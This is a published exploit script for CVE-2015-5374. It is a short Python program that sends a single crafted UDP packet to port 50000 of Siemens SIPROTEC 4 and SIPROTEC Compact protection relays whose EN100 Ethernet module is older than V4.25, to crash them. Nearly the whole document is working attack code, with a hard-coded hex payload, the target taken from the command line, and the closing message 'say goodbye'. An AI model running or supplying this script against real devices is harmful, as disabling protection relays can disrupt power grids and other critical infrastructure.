Siemens SIPROTEC 4 / Compact EN100 Ethernet Module Denial Of Service

`# Exploit Title: Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module < V4.25 - Denial of Service  
# Date: 14.02.2018  
# Exploit Author: M. Can Kurnaz  
# Contact: https://twitter.com/0x43414e  
# Vendor Homepage: https://www.siemens.com  
# Version: All devices that include the EN100 Ethernet module version V4.24 or prior.  
# Tested on: Siemens SIPROTEC 4 (multiple versions < V4.25).  
# CVE : CVE-2015-5374  
# Vulnerability Details:   
# https://www.cvedetails.com/cve/CVE-2015-5374/  
# https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01  
  
#!/usr/bin/env python  
  
import socket  
import sys  
  
print('CVE-2015-5374 Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module < V4.25 - Denial of Service')  
  
if len(sys.argv) < 2:  
print('Usage: ' + sys.argv[0] + ' [target]')  
sys.exit(1)  
  
print('Sending packet to ' + sys.argv[1] + ' ...')  
  
payload = bytearray('11 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 9E'.replace(' ', '').decode('hex'))   
  
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
sock.sendto(payload, (sys.argv[1], 50000))  
  
print('Done, say goodbye!')  
  
`